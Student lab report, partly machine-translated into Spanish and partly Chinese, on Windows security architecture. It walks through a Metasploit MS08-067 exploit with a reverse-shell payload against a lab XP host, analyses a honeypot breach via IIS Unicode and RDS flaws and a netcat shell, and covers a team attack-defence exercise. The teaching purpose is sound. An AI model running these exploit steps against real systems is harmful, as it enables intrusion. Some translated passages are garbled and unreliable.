20199107 2019-2020-2 "Práctica de ataque y defensa de la red" Semana 7 Asignación

20199107 2019-2020-2 "Ataque de red y práctica de defensa" Séptima asignación

¿A qué curso pertenece esta tarea? "Ataque de red y práctica de defensa"
¿Cuáles son los requisitos para esta tarea? La séptima asignación de "Práctica de ataque y defensa de red"
Mi objetivo en este curso es Aprenda nuevos conocimientos y obtenga altas calificaciones en los exámenes
¿Qué aspecto específico de esta tarea me ayudó a lograr mi objetivo? Aprender la tecnología de ataque y defensa del sistema operativo Windows
Tarea Ver abajo
Otras referencias Ver el final del artículo.

1. Practica el contenido

Estructura básica del sistema operativo Windows.

La estructura básica del sistema operativo Windows se divide en un núcleo del sistema operativo que se ejecuta en el modo privilegiado del procesador (anillo 0) y el código de espacio del usuario que se ejecuta en el modo no privilegiado del procesador (anillo 3).

  • Los módulos básicos del núcleo del sistema operativo Windows incluyen:
Módulo básico del kernel del sistema operativo Windows Descripción
Ejecución de Windows Es decir, la interfaz superior del archivo central del núcleo de Windows nokml.xe contiene servicios básicos del núcleo del sistema operativo, como la gestión de procesos y subprocesos, gestión de memoria, gestión de E / S, conexión de red, comunicación entre procesos y servicios de seguridad.
Kernel de Windows Es decir, la implementación de la función y el código de soporte de arquitectura de hardware en el archivo central ntoskrnl.exe del kernel de Windows implementa las funciones subyacentes del sistema operativo, y también proporciona un conjunto de rutinas de kernel y objetos básicos para ayudar al cuerpo ejecutivo a lograr servicios funcionales de alto nivel.
Controlador de dispositivo Incluidos los controladores de dispositivos de hardware que asignan las operaciones de E / S de los usuarios a solicitudes específicas de E / S de dispositivos de hardware, así como los controladores de dispositivos de red y del sistema de archivos. Esta parte admite la carga de controladores de dispositivos de hardware de fabricantes de hardware de terceros que han pasado la autenticación de firma digital al núcleo para su ejecución.
Capa de abstracción de hardware El archivo hal.dll es el código subyacente utilizado para proteger las diferencias entre el kernel de Windows y el hardware de la plataforma.
Ventana de Windows y código de implementación del kernel de interfaz de interfaz gráfica Es decir, archivo win32k.sys
  • Los módulos de código del sistema operativo Windows en modo de usuario incluyen:
Módulo de código de modo de usuario del sistema operativo Windows Descripción
Proceso de soporte del sistema El proceso de servicio incorporado del sistema se inicia automáticamente cuando se inicia Windows.
Proceso de servicio del subsistema ambiental Un proceso de servicio que proporciona soporte para el entorno operativo del sistema operativo.
Proceso de servicio Una serie de sistemas y servicios de red comenzaron a través del mecanismo de administración de servicios de Windows.
Software de aplicación de usuario Varios programas de aplicación de usuario ejecutados en modo de usuario.
DLL del subsistema central Es decir, kernel32.d1 / uer32.d / gdi32 d / advapi32.dll y otros archivos de biblioteca de enlaces dinámicos, como una interfaz interactiva entre el proceso de servicio del modo de usuario y el software de la aplicación y el kernel del sistema operativo, mapean las funciones API del sistema llamadas por el programa de modo de usuario al correspondiente Una o más llamadas de servicio del sistema dentro de Windows.

Bajo la arquitectura del sistema anterior, los siguientes mecanismos principales se implementan en el núcleo del sistema operativo Windows.

  • Proceso de Windows y mecanismo de gestión de subprocesos
    Windows trata el proceso como un contenedor en el momento de la ejecución del programa ejecutable, que incluye un descriptor de espacio de memoria virtual privado, una lista de identificadores de objetos de recursos del sistema,
    un token de acceso de seguridad con permiso para ejecutar la cuenta de usuario y se registra el ID del proceso Y su ID de proceso principal y otra información, y contiene al menos un hilo de ejecución que es el cuerpo interno de ejecución del proceso.
    El hilo de Windows sirve como un portador específico para la ejecución de instrucciones, y su bloque de control de hilo TCB contiene información de contexto para la ejecución del programa.

  • El mecanismo de administración de memoria de Windows se
    divide en el intervalo de memoria central del sistema y el intervalo de memoria del usuario. El
    intervalo de memoria central del sistema se utiliza para asignar el núcleo, HAL (capa de abstracción de hardware, ubicada en la capa de interfaz entre el núcleo del sistema operativo y el circuito de hardware), win32k.sys y otra ejecución del núcleo El módulo también almacena objetos de memoria del núcleo, y la
    sección de memoria del modo de usuario contiene el segmento de código y el segmento de datos del programa de usuario, y hay una pila y un montón para cada subproceso.

  • El mecanismo de administración de archivos de Windows fue administrado
    por FAT (Tabla de asignación de archivos) en los primeros días, pero debido a su débil seguridad, FAT ha sido reemplazado por NTFS (New Technology File System).

  • Mecanismo de administración del registro de Windows El
    registro (Registro) es una base de datos importante en Microsoft Windows, utilizada para almacenar información de configuración del sistema y de la aplicación.
    Como repositorio de almacenamiento para la configuración global del sistema, la información de configuración del software de usuario y aplicación, el registro desempeña un papel clave en la configuración y el control del sistema. Casi todas las operaciones de Windows van acompañadas de una gran cantidad de acciones para leer y modificar la información de configuración del registro.

  • Mecanismo de red de Windows

Módulo de componentes de red de Windows Equivalente a siete capas de OSI Descripción
Controladores para cada dispositivo de hardware de tarjeta de red Capa física Generalmente proporcionado por terceros fabricantes de hardware
Biblioteca NDIS (Network Driver Interface Specification) y controlador mimiport Capa de enlace de datos Interfaces de encapsulación construidas para diferentes controladores de tarjetas de red y capas de transmisión TDI
Capa de transporte TDI (interfaz de controlador de transporte, interfaz de controlador de transporte / controlador de protocolo de red) Capa de red, capa de transporte Este controlador de protocolo genera un dispositivo con nombre. Este dispositivo puede recibir un conjunto de solicitudes, principalmente para generar solicitudes y controlar solicitudes. Se utiliza para implementar todas las funciones complejas
. Se dice que será reemplazado por WFP (plataforma de filtrado de Windows)? El PMA se ha utilizado desde Win8
API de red DLL y cliente TDI Capa de sesión, capa de presentación La API de red DLL proporciona a la aplicación interacción e implementación de red independientemente del protocolo específico. El cliente TDI es la implementación específica de la interfaz API de red
Programa de servicio de aplicaciones de red y proceso de servicio Capa de aplicación Darse cuenta de las funciones de interacción y comunicación de la red.

Arquitectura y mecanismo de seguridad del sistema operativo Windows

Arquitectura de seguridad de Windows

windows的安全体系结构基于引用监控器这一经典的安全模型,所有主体对客体的访问都通过监控器,根据安全访问控制策略进行授权访问,所有访问记录由监控器生成日志。

Windows身份认证机制

Windows以安全主体的概念来包含所有进行资源访问请求的实体对象,包括用户、用户组和计算机三大类。对每个主体,有唯一SID来标识。
Windows为每个用户和计算机设置账户进行管理,账户的根本作用是限制账户内运行的程序对系统资源的访问。
用户组是为了简化管理引入的用户账户容器,通过将用户加入用户组,可以使用户拥有用户组的全部权限。
Windows账户的口令经过hash后保存在SAM(Security Accounts Manager)文件或活动目录AD中。
Winlogon进程、GINA图形化登录窗口与LSASS(Local Security Authority Service)服务协作完成本地身份认证过程。

Windows授权与访问控制机制

在用户等主体经过认证后,Windows会从内部数据库里读取该账户的信息,然后使用这些信息生成一个访问令牌,含有在该账户环境下启动的进程,都会获得这个令牌的副本。
系统内所有需要保护的资源都抽象成对象,每个对象会关联一个SD安全描述符,其主要属性如下

  • Owner SID:对象所有者的SID
  • Group SID:对象所在组的SID
  • DACL自主访问控制列表:指明哪些安全主体可以以何种方式访问该对象
  • SACL系统审计访问控制列表:指明了哪些主体发起的哪些访问操作需要被审计

访问令牌和SD结合组成Windows访问控制机制

Windows安全审计机制

LSASS服务将保存审计策略,并在对象启动审计功能后,对SD中的SACL列表进行保存。

Windows其他安全机制

包括集成了防火墙、补丁自动更新和防病毒三项功能的Windows安全中心,以及IPSec加密与验证机制、EFS加密文件系统、Windows文件保护机制、IE浏览器隐私保护与浏览安全机制等。

Windows远程攻防技术

攻击方式 防范措施
远程口令猜测与破解 关闭易受攻击的网络服务、配置防火墙、使用更安全的协议、使用强口令
网络服务远程渗透攻击 打补丁、实施攻击缓解配置、利用安全核对清单对服务进行配置、安全增强插件、及时修复漏洞
攻击windows客户端及用户三大类 使用安全的软件、及时更新软件

Windows本地安全攻防技术

攻击者获取系统访问权后,破解本地程序漏洞,获取系统完整控制权,获取敏感信息,掩盖痕迹,植入后门等所用的技术。

攻击目标 常用手段 防范措施
本地特权提升 DLL注入、破解本地程序漏洞、计划任务 及时打补丁、采取厂家提供的变通方法
敏感信息窃取 Windows系统口令字密文提取技术、Windows系统口令字破解技术、用户敏感信息窃取 选择强口令、加密保护敏感信息
消踪灭迹 关闭审计功能、清理事件日志 配置好系统审计和网络服务审计功能、将日志记录到不可擦写的CDROM中,或通过网络传到安全的日志服务器
远程控制与后门程序 命令行远程控制工具、图形化远程控制工具 安装后门检测软件、杀软

2.实践过程

Metasploit Windows Attack

任务:使用攻击机对靶机上的漏洞MS08-067(08年序号067的漏洞,是Server服务路径规范化处理不当漏洞)进行远程渗透攻击,获取目标主机访问权

机器 角色 IP
kali 攻击机 192.168.200.2
XPSP1-metaspolitable 靶机 192.168.200.9

一开始用windows/meterpreter/reverse_tcp那个攻击MS08-067不成功,感觉很疑惑,换了MS03-026试了试却可以,刚开始百思不得其解,试了很多种方式,还以为这靶机没这个漏洞,
后来看了大佬的博客发现是payload的问题,用书上那个generic/shell_reverse_tcp就可以

msfconsole启动该工具
search MS08-067搜索该漏洞的相关攻击脚本,只有一个也不用选了,就用它了
use exploit/windows/smb/ms08_067_netapi看路径可以知道这是一个可用于渗透攻击的,攻击Windows SMB协议的,针对漏洞ms08-067

show payloads显示可用payload

set payload generic/shell_reverse_tcp这是获取shell的反向连接
show options显示需要的参数,包括脚本的参数、payload的参数等,其中RHOST和LHOST是要填的,其他可以用默认值,
其中R开头的常指靶机,L开头的常指攻击机,具体的描述(description)旁边也有,target是要选的目标,用默认的自动选择目标即可
set RHOST 192.168.200.9设置为靶机(XPSP1)IP
set LHOST 192.168.200.2设置为攻击机(Kali)IP
set LPORT 9107这个其实随意,但我担心我之前的尝试把端口占用了,设置完成如图

exploit进行攻击,成功获取到靶机的shell,用ipconfig可以看到靶机的IP信息

取证分析实践:解码一次成功的NT系统破解攻击

任务:来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),分析数据为包含整个攻击过程的二进制文件,提取并分析攻击的全部过程
1.攻击者使用了什么破解工具进行攻击
2.攻击者如何使用这个破解工具进入并控制了系统
3.攻击者获得系统访问权限后做了什么
4.我们如何防止这样的攻击
5.你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么

主要还是靠课本的参考pdf和同学的博客做

  • 任务1:
    先拿snort试一下,海量信息,其中主要有8种报警,从中可知攻击者利用了IIS的两个漏洞,分别为:

  • Unicode漏洞(MS00-078/MS01-026)
    如向IIS服务器发出包括非法UTF-8序列的URL,攻击者可使服务器逐字“进入或退出”目录并执行任意程序,该攻击即称为目录转换攻击。
    Unicode用“%2f”和“%5c”分别代表“/”和“\”字符,但也可用“超长”序列来代替这些字符。
    “超长”序列是非法的Unicode表示符,如用“%c0%af”代表“/”字符。
    由于IIS不对超长序列进行检查,因此在URL中添加超长的Unicode序列后,可绕过微软的安全检查,
    如在一个标记为可执行的文件夹发出该请求,攻击者即可在服务器上运行可执行文件。

  • MDAC RDS组件漏洞(MS02-065)
    MDAC(MicrosoftDataAccessComponents)是一个把Web和数据库结合起来的软件包。它包含了一个叫RDS(RemoteDataServices)的组件。
    RDS可以使用户通过IIS访问数据库,RDS与IIS都是默认安装的。RDS中的一个组件DataFactory存在漏洞可以使Web服务用户获取IIS服务器上非公开的文件,远程攻击者也可以使用MDAC转发ODBC请求使之能访问到非公开的服务器。
    如果服务器上安装了MicrosoftJETOLEDBProvider或MicrosoftDataShapeProvider攻击者可以使用shell()VBA调用在系统上以System权限执行任意命令。

用wireshark观察抓包记录,ip.addr==213.116.251.162筛选来自攻击机的包

通过搜索特征码ADM!ROX!YOUR!WORLD,发现是msadc(2).pl

  • 任务2:

攻击者先使用了编写好的ftpcom脚本,尝试从ftp服务器下载编写好的后门文件,但由于密码错误失败了

攻击者通过几次尝试后终于想起了自己的密码并下载了nc.exe,pdump.exe,samdump.dll三个文件,并通过nc.exe构建了一个远程shell通道,端口6969,可以通过搜索6969快速寻找部分攻击者输入的命令

  • 任务3:

追踪攻击者获取了shell之后的TCP流,可以看到其系列操作。攻击者修改各种文件,意图通过pdump、samdump、net命令、rdisk命令等方式提权为管理员,成功后还删除了ftpcom文件等痕迹

后来又换了个IP202.85.60.156,再追踪其TCP流,其中还有之后要找的信息

  • 任务4:
    禁用不需要的服务和端口,及时打补丁。

  • 任务5:

显然是发现了,攻击者往一个文件里面写了这是他见过的最好的蜜罐。

团队对抗实践:windows系统远程渗透攻击和分析

任务:攻方使用metaploit选择漏洞进行攻击,获得控制权。防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
kali对xp的MS08-067漏洞进行攻击,过程参考Metasploit Windows Attack
该漏洞实质上是对SMB的缓冲区溢出攻击,针对SMB协议规范化路径时的逻辑漏洞,
路径规范化即将路径字符串中的/转换为\,同时去除相对路径.\..\
snort试一下,这报警信息没什么用啊

抓包发现有很多SMB包,

然后从这个位置开始,靶机向攻击机发起了反弹式tcp连接

此时追踪tcp流可以看到攻击机获得shell后的操作

3.学习中遇到的问题及解决

  • 问题1:一开始用windows/meterpreter/reverse_tcp那个攻击MS08-067不成功,感觉很疑惑,换了MS03-026试了试却可以,还以为这靶机没这个漏洞
  • 问题1解决方案:看了大佬的博客发现是payload的问题,老实地用书上那个generic/shell_reverse_tcp就可以
  • 问题2:即使有参考书很多地方其实都还是很迷惑的状态,但还有其他作业要做,没时间探究了
  • 问题2解决方案:尽可能地猜一下

4.实践总结

做第一个实践的时候,感觉上了这么久网络攻防,终于有一个熟悉的任务,可以让我抄我自己,然后看了一下我以前的博客,发现,以前好菜啊,写的什么鬼,跟加了密似的,自己看都要回忆。
看到小结的时候,感觉难度突然有巨大地提升,做的时候感觉和某个段子表情包发生强烈共鸣,感觉大概是:
首先介绍一下各种window攻防技术,然后学习攻击工具Metasploit的入门使用,是不是很简单呢,好,现在我们来试一下:解码一次成功的NT系统破解、windows系统远程渗透攻击抓包分析攻防???材料和实践的难度有亿点点大哦。

5.其他参考文献

Supongo que te gusta

Origin www.cnblogs.com/20145120hxx/p/12687612.html
Recomendado
Clasificación